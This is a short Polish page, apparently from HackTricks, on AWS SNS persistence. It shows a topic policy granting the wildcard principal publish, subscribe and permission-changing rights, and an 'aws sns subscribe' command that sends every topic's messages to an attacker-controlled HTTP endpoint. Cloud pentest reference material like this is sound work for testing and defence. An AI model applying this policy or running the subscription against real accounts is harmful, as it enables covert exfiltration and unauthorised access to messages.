AWS - SNS Persistence

Wesprzyj HackTricks

SNS

Aby uzyskać więcej informacji, sprawdź:

AWS - SNS Enum

Trwałość

Podczas tworzenia tematu SNS musisz wskazać w polityce IAM kto ma dostęp do odczytu i zapisu. Można wskazać zewnętrzne konta, ARN ról, a nawet "*". Następująca polityka umożliwia wszystkim w AWS dostęp do odczytu i zapisu w temacie SNS o nazwie MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Utwórz subskrybentów

Aby kontynuować eksfiltrację wszystkich wiadomości ze wszystkich tematów, atakujący może utworzyć subskrybentów dla wszystkich tematów.

Należy zauważyć, że jeśli temat jest typu FIFO, mogą być używane tylko subskrybenci korzystający z protokołu SQS.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Wesprzyj HackTricks

Last updated